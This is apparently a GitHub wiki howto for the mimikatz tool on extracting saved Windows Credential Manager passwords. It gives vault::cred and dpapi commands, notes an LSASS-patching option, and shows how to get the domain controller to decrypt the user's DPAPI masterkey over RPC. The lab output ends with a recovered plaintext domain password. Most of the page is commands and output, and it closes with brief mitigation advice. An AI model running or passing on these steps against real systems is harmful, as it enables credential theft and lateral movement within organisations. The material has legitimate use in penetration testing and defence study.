-
Notifications
You must be signed in to change notification settings - Fork 3.8k
howto ~ credential manager saved credentials
There are somes ways to get savec credentials from the Credential Manager
With mimikatz
it's easy as: vault::cred
mimikatz # vault::cred
TargetName : genaddr / <NULL>
UserName : genuser
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : genpass
Attributes : 0
TargetName : domsrv / <NULL>
UserName : domusr
Comment : <NULL>
Type : 2 - domain_password
Persist : 3 - enterprise
Flags : 00000000
Credential :
Attributes : 0
TargetName : LegacyGeneric:target=genaddr / <NULL>
UserName : genuser
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : genpass
Attributes : 0
TargetName : Domain:target=domsrv / <NULL>
UserName : domusr
Comment : <NULL>
Type : 2 - domain_password
Persist : 3 - enterprise
Flags : 00000000
Credential :
Attributes : 0
No magic behind: it uses the standard API CredEnumerate
, with Flags
at 0 then CRED_ENUMERATE_ALL_CREDENTIALS
to try to get them all.
Mixed with: vault::list
, it's enough to get a lots of credentials for the current user (especially Web stuff).
Secret data for the credential. The CredentialBlob member can be both read and written.
If the Type member is
CRED_TYPE_DOMAIN_PASSWORD
, this member contains the plaintext Unicode password for UserName. TheCredentialBlob
andCredentialBlobSize
members do not include a trailing zero character. Also, forCRED_TYPE_DOMAIN_PASSWORD
, this member can only be read by the authentication packages.
http://msdn.microsoft.com/library/windows/desktop/aa374788.aspx
So, if we want access to network shares saved credentials, RDP passwords, etc., we need to be admin to alter LSASS
in order to:
- patch its logic (prevent
LSASS
to check if type isCRED_TYPE_DOMAIN_PASSWORD
) - this is the current behavior of the/patch
argument. - inject a thread or a module in
LSASS
to be seen as an authentication packages
high voltage
This operation will alter LSASS
and is NOT recommended, especially when you can use the DPAPI
method.
a basic introduction on DPAPI
stuff is here: module ~ dpapi
Like exposed in https://1drv.ms/x/s!AlQCT5PF61KjmCAhhYO0flOcZE4e, credentials are stored in user's profile.
Usually in:
%appdata%\Microsoft\Credentials
%localappdata%\Microsoft\Credentials
Asking dpapi
module, cred
function of mimikatz
, you can view the "content" of a credential file.
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000050 - 80
szDescription : Données d’identification d’entreprise
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 024e83a1b7c1412251dd2718126fca84
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : e2bbe3a6e2fe7120ad9000afc3aa5ec2
dwDataLen : 00000090 - 144
pbData : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
dwSignLen : 00000014 - 20
pbSign : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
What is interesting here:
-
dwFlags : 20000000 - 536870912 (system ; )
this is the "bad" new... theDPAPI
protected the blob with theCRYPTPROTECT_SYSTEM
flag, preventing an unprivilegied process to decrypt the blob... (~= not you, onlyLSASS
) -
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
this is theGUID
of the masterkey needed to decrypt the blob.LSASS
has it in its cache, or will be able to load it on the fly when needed...
Because of the system
flag (protected by the signature of the blob - we can't alter it), LSASS
will refuse to unprotect the blob for us...
Decrypting Credential:
* using CryptUnprotectData API
ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; CryptUnprotectData (0x0000000d)
Here, thanks to the previous GUID
we know that the masterkey is located in: %appdata%\Microsoft\Protect\<usersid>\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2"
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 00000000 - 0
dwMasterKeyLen : 00000088 - 136
dwBackupKeyLen : 00000068 - 104
dwCredHistLen : 00000000 - 0
dwDomainKeyLen : 00000174 - 372
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 704f7ca8be647c20dc36e8ae4127966b
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb7332e220ca76b532602f36520a3a6809fb50893c9d4ae050e0072b44fe522c8f4b4f1f610001530c4f770c76b347ea02fc7baa627efc9e1055255600
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 3afaf040c982786cfa36342d8005a16f
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f1659cd8a193a50bd809848d4dec11439e3da6bb4f66ab4b04aff3ae48e1
[domainkey]
**DOMAINKEY**
dwVersion : 00000002 - 2
dwSecretLen : 00000100 - 256
dwAccesscheckLen : 00000058 - 88
guidMasterKey : {9c71e914-1ed5-4338-8461-4dcc363553be}
pbSecret : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087ac1effacd3cfa4c94413d541f476db2179a9b7ba6b383a28b1d52b165b84d73f27395e6093b883142168c783659a7b9756a787f688154b6fda15e8d0581b1f23c44870f825fd03ee3d52652e3c2e98f946deee7b86a9b3534d210b3f53e4fe29b7ed19050c5981f186ae9f3d8d11228e83c908c2e303d17bca0d625df400731454880f6dda9a7b65afff6198c8f8e580e72bb01ce8faf0d1c1bdac662f6b29698416be99616e0311fe2043660d066c09ab5298a25fb8d911987a89491ab4ef0df529cf1aef5da0340e9da9313a50a94aea0a7010a
pbAccesscheck : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18cd96575899fa2a6f46b1f37c9ae3e63e5bb5de12151016bb0afd0efd79ddbbad6c0f36931a11503864d3bd403
Auto SID from path seems to be: S-1-5-21-1719172562-3308538836-3929312420-1104
- If you are a domain admin, the
domainkey
part can be very interesting... but here, we consider you are only the current user... - If you know the user password, you can easily decrypt the masterkey with it.
So, no solution ? Here, few questions to ask yourself:
- how do you deal with smartcard users without NTLM transmitted?
- do hippos think rhinos are unicorns?
- does a domain user who forgets his logon password lose its saved data?
In domain, a domain controller runs a RPC Service to deal with encrypted masterkeys for users, MS-BKRP
- https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-BKRP/[MS-BKRP].pdf
- https://twitter.com/gentilkiwi/statuses/746493452582526976
This service handles the RSA private key associated with all masterkeys of the domain, and is in charge to provided decryption to authorized users (the danger around this never changed RSA private key is another story, we're not admin here ;) - https://twitter.com/gentilkiwi/statuses/609890409830064129 , https://twitter.com/gentilkiwi/statuses/604408115090591744 )
As this cc6eb538-28f1-4ab4-adf2-f5594e88f0b2
master key belongs to the current user, we can certainly use it with the /rpc
argument:
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" /rpc
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
[...]
[domainkey] with RPC
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the DC server
key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f60b4f05034163ff59651e4ad4
sha1: 81c99543dea591c11f20d69027ea2016d89d07dd
So sweet ! the domain controller has decrypted it for us, and mimikatz
has placed it in its cache:
mimikatz # dpapi::cache
CREDENTIALS cache
=================
MASTERKEYS cache
================
GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
DOMAINKEYS cache
================
With the key in the mimikatz
cache, we can display a last time the credential file:
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000050 - 80
szDescription : Données d’identification d’entreprise
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 024e83a1b7c1412251dd2718126fca84
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : e2bbe3a6e2fe7120ad9000afc3aa5ec2
dwDataLen : 00000090 - 144
pbData : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
dwSignLen : 00000014 - 20
pbSign : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
Decrypting Credential:
* volatile cache: GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 0000008e - 142
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 11/12/2017 19:58:36
unkFlagsOrSize : 00000010 - 16
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=domsrv
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : domusr
CredentialBlob : dompass
Attributes : 0
Good, we now have credentials:
- Server:
domsrv
- UserName:
domusr
- Password:
dompass
Without any particular rights.
Nearly nothing... the ability to decrypt its own masterkeys by RPC is by protocol/design... and is needed when using smartcard or when loosing passwords.
But, storing domain credentials in the credential manager is a bad practice... even Microsoft recommend to disable it... (but in the name of legacy, will enable it by default)
Best practices
It is a recommended practice to disable the ability of the Windows operating system to cache credentials on any computer where credentials are not needed. Evaluate your servers and workstations to determine the requirements. Cached credentials are designed primarily to be used on laptops that require domain credentials when disconnected from the domain.
Original text and GPO to disable this kind of sensitive storage: https://technet.microsoft.com/library/jj852185.aspx